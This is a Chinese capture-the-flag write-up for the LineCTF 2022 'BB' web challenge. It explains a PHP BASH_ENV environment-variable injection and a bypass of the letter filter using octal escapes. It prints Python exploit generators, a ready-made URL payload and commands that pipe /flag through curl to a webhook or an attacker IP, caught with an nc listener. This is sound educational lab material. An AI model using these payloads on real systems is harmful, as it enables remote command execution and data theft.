ctfer的日常web:[LineCTF2022]BB(buuctf)

本文详细描述了一段PHP代码中的环境变量注入漏洞,如何通过绕过大小写过滤并构造payload进行攻击,包括使用curl发送POST请求上传文件和利用反弹shell技术。作者还引用了官方Wordpress博客作为参考。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

代码审计:

<?php
    error_reporting(0);

    function bye($s, $ptn){
        if(preg_match($ptn, $s)){   //$s中如果存在$ptn,则返回false
            return false;
        }
        return true;
    }

    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) { //过滤= 过滤大小写字母
            putenv("{$k}={$v}");        //定义环境变量
        }
    }
    system("bash -c 'imdude'");     //这里执行了imdude,所以我们要对环境变量imdude进行操作
    
    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i")) {   //过滤=
            putenv("{$k}");
        }
    }
    highlight_file(__FILE__);
?>

 环境变量注入:

参考网站

使$k=BASH_ENV

$v=【攻击命令,如cat /flag | curl -d @- http://xx.xx.xx.xx:7001(攻击机ip)】

 绕过大小写过滤:

在linux中,$'\101' = A,故可以用八进制(即0o101=A)来绕过。

EXP(1):

向指定的 webhook 站点[]发送一个 POST 请求,并上传了一个名为 flag 的文件。

b"curl https://webhook.site/a27433a-afdb-9d9a080beb55 -F flag=@/flag"

这个命令的具体含义如下:

curl: 是一个命令行工具,用于在终端中传输数据,支持多种协议。

https://webhook.site/a278d631-e3e5-433a-afdb-9d9a080beb55: 这是一个 webhook 站点的 URL,其中包含一个唯一的标识符。

-F flag=@/flag: 这部分是命令的参数,其中 -F 表示要发送一个表单(form)数据,flag=@/flag 意味着要上传一个名为 flag 的文件。

from urllib.parse import quote_plus

cmd = b"curl https://webhook.site/a278d63fdb-9d9a080beb55 -F flag=@/flag"
parts = cmd.split(b' ')
cmd = ["$'"+''.join([f'\\{x:03o}' for x in p])+"'" for p in parts]
cmd = ' '.join(cmd)

payload = "$(%s)" % cmd
print(payload)
print(quote_plus(payload))

下载完成后查看里面内容即可,有多种方法:

一,在文件名后面加“.txt”;

二,用sublime打开;

三,.....................

EXP(2):

通过反弹shell的方式;

先在攻击机(自己的服务器)上,输入“nc -lvvp [端口号]”

import string

# cmd = "cat /flag"
cmd = "cat /flag | curl -d @- http://xx.xx.xx.xx:7001" #(攻击机ip)
str = ''
for i in cmd:
    if i in string.ascii_lowercase:
        j = oct(ord(i))[2:]
        str += "$'\\"+j+"'"
    else:
        str+=i

print(str)

再将结果拼接到url上如:

?env[BASH_ENV]=$'\143'$'\141'$'\164' /$'\146'$'\154'$'\141'$'\147' | $'\143'$'\165'$'\162'$'\154' -$'\144' @- $'\150'$'\164'$'\164'$'\160'://xx.xx.xx.xx:7001

在攻击机(自己的服务器)上,输入“nc -lvvp [端口号]” 。

如果成功的话就能看到flag。

官方WP:

https://blog.maple3142.net/2022/03/27/line-ctf-2022-writeups/

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值